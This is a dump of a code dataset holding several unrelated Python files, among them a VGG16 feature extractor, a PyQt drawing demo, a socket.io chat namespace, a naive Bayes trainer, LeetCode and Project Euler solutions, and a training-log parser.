i)\n imgloc = '%s/%s' % (options.rootlocation, datadict[idtest]['image'])\n outloc = '%s/label-%04d.nii.gz' % (baseloc, idtest) \n if options.numepochs > 0:\n PredictModel(model=mdlloc, image=imgloc, outdir=outloc )\n MakeStatsScript(kfolds=k, idfold=i)\n\ndef Kfold(kkk):\n databaseinfo = GetDataDictionary()\n for iii in range(kkk):\n OneKfold(k=kkk, i=iii, datadict=databaseinfo)\n\n\nif options.builddb:\n BuildDB()\nif options.kfolds > 1:\n if options.idfold > -1:\n databaseinfo = GetDataDictionary()\n OneKfold(k=options.kfolds, i=options.idfold, datadict=databaseinfo)\n else:\n Kfold(options.kfolds)\nif options.trainmodel: # no kfolds, i.e. k=1\n TrainModel(kfolds=1,idfold=0)\nif options.predictmodel:\n PredictModel()\nif ( (not options.builddb) and (not options.trainmodel) and (not options.predictmodel) and (options.kfolds == 1)):\n parser.print_help()\n","sub_path":"liverlevelset/lsn.py","file_name":"lsn.py","file_ext":"py","file_size_in_byte":34650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"170638858","text":"from tensorflow.keras.applications import VGG16\nfrom tensorflow.keras.applications import imagenet_utils\nfrom tensorflow.keras.preprocessing.image import img_to_array\nfrom tensorflow.keras.preprocessing.image import load_img\nfrom sklearn.preprocessing import LabelEncoder\nfrom pyimagesearch.io import HDF5DatasetWriter\nfrom imutils import paths\n\nimport numpy as np\nimport progressbar\nimport argparse\nimport random\nimport os\n\n# extract flattened features\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-d\", \"--dataset\", required=True, help=\"path to input dataset\")\nap.add_argument(\"-o\", \"--output\", required=True,\n help=\"path to output HDF5 file\")\nap.add_argument(\"-b\", \"--batch-size\", type=int, default=32,\n help=\"batch size of images to b e passed through netework\")\nap.add_argument(\"-s\", \"--buffer-size\", type=int, default=1000,\n help=\"size of feature extraction buffer\")\nargs = vars(ap.parse_args())\n\nbatchSize = args[\"batch_size\"]\nimagePaths = list(paths.list_images(args[\"dataset\"]))\n\n# previously we use train_test_split from sklearn, but this is not feasible for dataset that is too large,\n# so we shuffle the imagePaths instead\nrandom.shuffle(imagePaths)\n\nlabels = [imgPath.split(os.path.sep)[-2] for imgPath in imagePaths]\nlabelEnconder = LabelEncoder()\n\n# in fitting, labelEnconder will sort our array in alphabetical order,\n# then transform our string into an integer in a canonical way\n# note that our .labels in HDF5DatasetWriter instance is of int type.\nlabels = labelEnconder.fit_transform(labels)\n\n# we use include_top=False to remove the top, i.e., the dense layer part.\nmodel = VGG16(weights=\"imagenet\", include_top=False)\n\n\ndataset = HDF5DatasetWriter(\n (len(imagePaths), 512*7*7), args[\"output\"], dataKey=\"features\", bufferSize=args[\"buffer_size\"])\ndataset.storeClassLabels(labelEnconder.classes_)\n\nwidgets = [\"Extracting Features: \",\n progressbar.Percentage(),\n \" \",\n progressbar.Bar(),\n \" \",\n progressbar.ETA()]\n\npbar = progressbar.ProgressBar(maxval=len(imagePaths), widgets=widgets).start()\n\nfor i in np.arange(0, len(imagePaths), batchSize):\n batchPaths = imagePaths[i:i+batchSize]\n batchLabels = labels[i:i+batchSize]\n batchImages = []\n\n for (j, imagePath) in enumerate(batchPaths):\n image = load_img(imagePath, target_size=(224, 224))\n image = img_to_array(image)\n # image = np.expand_dims(image, axis=0)\n image = imagenet_utils.preprocess_input(image)\n\n batchImages.append(image)\n\n # batchImages = np.vstack(batchImages)\n batchImages = np.array(batchImages)\n features = model.predict(batchImages, batch_size=batchSize)\n # flatten\n features = np.reshape(features, (-1, 512 * 7 * 7))\n dataset.add(features, batchLabels)\n pbar.update(i)\n\ndataset.close()\npbar.finish()\n","sub_path":"2020-11-20-ranked-accuracy/extract_features.py","file_name":"extract_features.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"168608693","text":"import sys\n\nfrom PyQt5 import uic\nimport random\n\nfrom PyQt5.QtGui import QPainter, QColor\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QPushButton\n\n\nclass Example(QMainWindow):\n def __init__(self):\n super().__init__()\n uic.loadUi('UI.ui', self)\n self.setWindowTitle('Окружности')\n self.do_paint = False\n self.pushButton_5.clicked.connect(self.paint)\n\n def paintEvent(self, event):\n if self.do_paint:\n qp = QPainter()\n qp.begin(self)\n self.draw_ell(qp)\n qp.end()\n\n def paint(self):\n self.do_paint = True\n self.repaint()\n\n def draw_ell(self, qp):\n w = random.randint(20, 400)\n qp.setBrush(QColor(255, 255, 0))\n qp.drawEllipse(100, 100, w, w)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Example()\n ex.show()\n sys.exit(app.exec())","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"558053200","text":"import logging\n\nfrom badasschat.socketio.namespace import BaseNamespace\nfrom badasschat.socketio.mixins import RoomsMixin, BroadcastMixin\nfrom badasschat.socketio.sdjango import namespace\nfrom rest_framework.authtoken.models import Token\n\n\n@namespace('/chat')\nclass ChatNamespace(BaseNamespace, RoomsMixin, BroadcastMixin):\n nicknames = []\n\n def initialize(self):\n self.logger = logging.getLogger(\"socketio.chat\")\n self.log(\"Socketio session started\")\n \n def log(self, message):\n self.logger.info(\"[{0}] {1}\".format(self.socket.sessid, message))\n \n def on_join(self, room):\n self.room = room\n self.join(room)\n return True\n \n def on_nickname(self, nickname):\n split_nickname = nickname.split('::')\n user = split_nickname[0]\n token = split_nickname[1]\n expected_token = Token.objects.get(user=user)\n nickname = expected_token.user.username\n self.log('Nickname: {0}'.format(nickname))\n self.nicknames.append(nickname)\n self.socket.session['nickname'] = nickname\n #self.broadcast_event('announcement', '%s has connected with token, %s, expect token %s' %(nickname, token, expected_token))\n if(token == expected_token.key):\n self.broadcast_event('announcement', 'authenticated!')\n else:\n self.broadcast_event('announcement', 'unauthenticated user attempted connection!')\n self.broadcast_event('nicknames', self.nicknames)\n return True, nickname\n\n def recv_disconnect(self):\n # Remove nickname from the list.\n self.log('Disconnected')\n nickname = self.socket.session['nickname']\n self.nicknames.remove(nickname)\n self.broadcast_event('announcement', '%s has disconnected' % nickname)\n self.broadcast_event('nicknames', self.nicknames)\n self.disconnect(silent=True)\n return True\n\n def on_user_message(self, msg):\n self.log('User message: {0}'.format(msg))\n self.emit_to_room(self.room, 'msg_to_room',\n self.socket.session['nickname'], msg)\n return True\n","sub_path":"badasschat/sockets.py","file_name":"sockets.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"178268334","text":"\n \nclass Problem(object):\n def __init__(self, n, ni, nf):\n self.dimension = n\n self.i_dimension = ni\n self.f_dim = nf\n self.c_dim = 0\n self.ic_dim = 0\n self.c_tol = []\n self.set_bounds([0.0]*n, [1.0]*n)\n\n def set_bounds(self, lb, ub):\n self.lower = lb\n self.upper = ub\n \n def test_constraint(self, c, i):\n if i < self.c_dim - self.ic_dim:\n return abs(c[i]) <= self.c_tol[i]\n return c[i] <= self.c_tol[i]\n\n def feasibility_c(self, c):\n for i, k in enumerate(c):\n if not self.test_constraint(c, i):\n return False\n return True\n \n def compare_constraints(self, c1, c2):\n count1 = count2 = 0\n norm1 = norm2 = 0\n # equality constraints\n for i in range(self.c_dim-self.ic_dim):\n if self.test_contraint(c1, i):\n count1 += 1\n if self.test_contraint(c2, i):\n count2 += 1\n norm1 += abs(c1[i]) * abs(c1[i])\n norm2 += abs(c2[i]) * abs(c2[i])\n # in-equality constraints\n for i in range(self.c_dim-self.ic_dim, self.c_dim):\n if self.test_contraint(c1, i):\n count1 += 1\n else:\n norm1 += c1[i] * c1[i]\n if self.test_contraint(c2, i):\n count2 += 1\n else:\n norm2 += c2[i] * c2[i]\n if count1 > count2:\n return True\n if count1 < count2:\n return False\n return norm1 < norm2\n \n def compare_fitness(self, v_f1, v_f2):\n count1 = count2 = 0\n for f1, f2 in zip(v_f1, v_f2):\n if f1 < f2:\n count1 += 1\n elif f1 == f2:\n count2 += 1\n return count1 + count2 == len(v_f1) and count1 > 0\n\n def compare_fc_impl(self, f1, c1, f2, c2):\n test1 = self.feasibility_c(c1)\n test2 = self.feasibility_c(c2)\n if test1 and not test2:\n return True\n if not test1 and test2:\n return False\n if test1:\n return self.compare_fitness(f1, f2)\n return self.compare_contraints(c1, c2)\n \n def compare_fc(self, f1, c1, f2, c2):\n if self.c_dim > 0:\n return self.compare_fc_impl(f1, c1, f2, c2)\n return self.compare_fitness(f1, f2)\n \n","sub_path":"src/femagtools/moo/problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"434054608","text":"__author__ = ''\nimport os, tokenizer\nfrom pathlib import Path\n\n\nclass Classification:\n def __init__(self, count, cond_prob):\n self.count = count\n self.cond_prob = cond_prob\n\n\nclass Term:\n def __init__(self, className, count, prob):\n self.count = 0\n classification = Classification(count, prob)\n self.classes_dict = {className: classification}\n\n def put_class(self, class_name, count, prob):\n classification = Classification(count, prob)\n self.classes_dict.update({class_name: classification})\n\n\ndef build_vocab(dir_path, classes):\n vocab = {}\n\n class_index = -1\n class_doc_count = []\n class_term_count = []\n\n docs_count = 1\n\n for className in classes:\n class_index += 1\n class_doc_count.append(0)\n class_term_count.append(0)\n\n path = dir_path + '\\\\' + className + '\\\\train'\n\n for root, sub_dirs, files in os.walk(path):\n for fileName in files:\n f = open(path + '\\\\' + fileName, mode='r', encoding='UTF-8')\n\n docs_count += 1\n class_doc_count[class_index] += 1\n\n for line in f:\n\n if not line:\n continue\n\n words = line.lower().split(\" \")\n for token in words:\n\n token = tokenizer.tokenize(token)\n if token is None:\n continue\n\n add_token_to_vocab(token, vocab, className)\n\n class_term_count[class_index] += 1\n\n f.close()\n\n return vocab, class_doc_count, class_term_count, docs_count\n\n\ndef add_token_to_vocab(token, vocab, class_name):\n if token not in vocab:\n tmp_term = Term(class_name, 1, 0)\n\n vocab.update({token: tmp_term})\n else:\n tmp_term = vocab[token]\n\n if class_name not in tmp_term.classes_dict:\n tmp_term.put_class(class_name, 1, 0)\n else:\n tmp_term.classes_dict[class_name].count += 1\n\n tmp_term.count += 1\n\n\ndef train(path_docs, classes):\n vocab, \\\n class_doc_count, \\\n class_term_count, \\\n docs_count = build_vocab(path_docs, classes)\n\n prior_prob = {}\n\n vocab_size = vocab.__len__()\n\n for i in range(classes.__len__()):\n className = classes[i]\n\n calc_prior_prob = class_doc_count[i] / docs_count\n prior_prob.update({className: calc_prior_prob})\n\n for token, term in vocab.items():\n\n if className not in term.classes_dict:\n term.put_class(className, 0, 0)\n\n token_count = term.classes_dict[className].count\n\n # cond_prob = (token_count + 1) / (token_count + vocab_size)\n cond_prob = (token_count + 1) / (class_term_count[i] + vocab_size)\n\n term.classes_dict[className].cond_prob = cond_prob\n\n return vocab, prior_prob\n","sub_path":"content_managment_search_tech/naiveclassifier/src/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"571051897","text":"import time\nimport wandb\nimport argparse\nfrom prettyprinter import cpprint\n\nfrom utils import *\nfrom engine import *\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--config_file_path', type=str, default='/opt/ml/my_code/config_defaults.yml')\n parser.add_argument('--config', type=str, default=\"xlm-roberta-large\")\n parser.add_argument('--mode', type=str, default='train', help = 'train, inference, final_train')\n args = parser.parse_args()\n \n cfg = YamlConfigManager(args.config_file_path, args.config)\n \n name = '(' + args.config + ')' + ' ' + get_timestamp()\n \n if args.mode == 'train':\n run = wandb.init(project='Relation Extraction', entity='jlee621', name = name, reinit = False)\n wandb.config.update(cfg) # add all the arguments as config variables\n\n cpprint(cfg.values, sort_dict_keys = False)\n print('\\n')\n engine(cfg, args)\n\n if args.mode == 'train':\n run.finish()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"438292232","text":"#time limit (1)\nclass Solution(object):\n def oddEvenJumps(self, A):\n higher = [1] * len(A)\n lower = [1] * len(A)\n i = len(A) - 2\n while i >= 0:\n tmp = A[i+1:]\n try:\n largest_min = max(x for x in tmp if x <= A[i])\n if largest_min != -1:\n j = tmp.index(largest_min) + i\n lower[i] = higher[j + 1]\n except:\n lower[i] = 0\n\n try:\n smallest_max = min(x for x in tmp if x >= A[i])\n if smallest_max != -1:\n p = tmp.index(smallest_max) + i\n higher[i] = lower[p + 1]\n except:\n higher[i] = 0\n i -= 1\n return sum(higher)\n \n#time limit (2) \nclass Solution(object):\n def oddEvenJumps(self, A):\n res = 1\n for i in range(len(A) - 1):\n original = i\n count = 1\n #print(\"starting round: \", original)\n while i < len(A) - 1:\n if max(A[i+1:]) >= A[i] and count % 2 == 1:\n tmp = A[i+1:]\n smallest_max = min(x for x in tmp if x >= A[i])\n j = tmp.index(smallest_max)\n i = i + j + 1\n #print(\"1. jump i to: \", i)\n count += 1\n elif min(A[i+1:]) <= A[i] and count % 2 == 0:\n tmp = A[i+1:]\n largest_min = max(x for x in tmp if x <= A[i])\n j = tmp.index(largest_min)\n i = i + j + 1\n #print(\"2. jump i to: \", i)\n count += 1\n else:\n break\n if i == len(A) - 1:\n res += 1\n i = original\n return res\n\n#credit to author: lee215\nclass Solution(object):\n def oddEvenJumps(self, A):\n n = len(A)\n next_higher = [0] * n\n next_lower = [0] * n\n\n stack = []\n for a, i in sorted([a, i] for i, a in enumerate(A)):\n while stack and stack[-1] < i:\n next_higher[stack.pop()] = i\n stack.append(i)\n\n stack = []\n for a, i in sorted([-a, i] for i, a in enumerate(A)):\n while stack and stack[-1] < i:\n next_lower[stack.pop()] = i\n stack.append(i)\n\n higher = [0] * n\n lower = [0] * n\n\n higher[-1] = 1\n lower[-1] = 1\n\n for i in range(len(A) - 1)[::-1]:\n higher[i] = lower[next_higher[i]]\n lower[i] = higher[next_lower[i]]\n\n return sum(higher)\n","sub_path":"python/975 Odd Even Jump.py","file_name":"975 Odd Even Jump.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"412653383","text":"# Problem 6\n#\n# Sum square difference\n#\n# The sum of the squares of the first ten natural numbers is,\n# The square of the sum of the first ten natural numbers is,\n# Hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 − 385 = 2640.\n# Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum.\n#\n# https://projecteuler.net/problem=6\n\nHIGH = 100\n\nsum_squares = 0\nsum_numbers = 0\nfor i in range(1, HIGH + 1):\n sum_numbers = sum_numbers + i\n sum_squares = sum_squares + i**2\n\n\nprint(str(sum_numbers**2) + \" - \" + str(sum_squares) + \" = \" + str(sum_numbers**2 - sum_squares))","sub_path":"6_sum_square_difference.py","file_name":"6_sum_square_difference.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"595095869","text":"from argparse import ArgumentParser\n\nFINALLINE = \"-----------------Final-------------------\"\nSTARTRUN = \"rewire\"\nLOGLINE = \"Loss\"\nAUCLINE = \"AUC results\"\nNDCGLINE = \"nDCG results\"\nTAULINE = \"Kendall's Tau\"\nTASKLINE = \"task\"\n\ndef processLogLine(line):\n split = line.split()\n loss = split[3]\n trainAUC = split[6]\n valAUC = split[9]\n testAUC = split[12]\n nDCG = split[14]\n kendallTau = split[17]\n return loss, trainAUC, valAUC, testAUC, nDCG, kendallTau\n\ndef main():\n parser = ArgumentParser()\n # general\n parser.add_argument('--filename', dest='filename', required=True, type=str,\n help='file to analyze')\n parser.add_argument('--prefix', dest='prefix', required=True, type=str,\n help='prefix for output line')\n args = parser.parse_args()\n\n with open(args.filename) as file:\n lines = file.readlines()\n losses = []\n testAUCs = []\n overFit = False\n printResult=False\n lastAUC = None\n lastNDCG = None\n lastTau = None\n lastTask = None\n print(\"model,task,auc,auc_std,ndcg,ndcg_std,kt,kt_std,overfit\")\n for line in lines:\n if TASKLINE in line:\n if printResult:\n print(args.prefix + \",\" + lastTask + \",{0},{1},{2},{3},{4},{5},{6}\".format(lastAUC[0], lastAUC[1], lastNDCG[0], lastNDCG[1], lastTau[0], lastTau[1], overFit))\n printResult = False\n splitLine = line.split()\n lastTask = splitLine[1]\n elif STARTRUN in line:\n if len(losses) > 1:\n if testAUC[0] < testAUC[-1]:\n overFit = True\n loss = []\n testAUC = []\n lastNDCG = None\n lastAUC = None\n lastTau = None\n elif LOGLINE in line:\n loss, trainAUC, valAUC, testAUC, nDCG, kendallTau = processLogLine(line)\n losses.append(testAUCs)\n testAUCs.append(testAUC)\n elif FINALLINE in line:\n printResult = True\n elif TAULINE in line:\n splitLine = line.split()\n lastTau = (splitLine[2], splitLine[3])\n elif NDCGLINE in line:\n splitLine = line.split()\n lastNDCG = (splitLine[2], splitLine[3])\n elif AUCLINE in line:\n splitLine = line.split()\n lastAUC = (splitLine[2], splitLine[3])\n\n if printResult:\n print(args.prefix + \",\" + lastTask +\n \",{0},{1},{2},{3},{4},{5},{6}\".format(\n lastAUC[0], lastAUC[1], lastNDCG[0], lastNDCG[1], lastTau[0], lastTau[1], overFit\n )\n )\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"analyzeLogs.py","file_name":"analyzeLogs.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}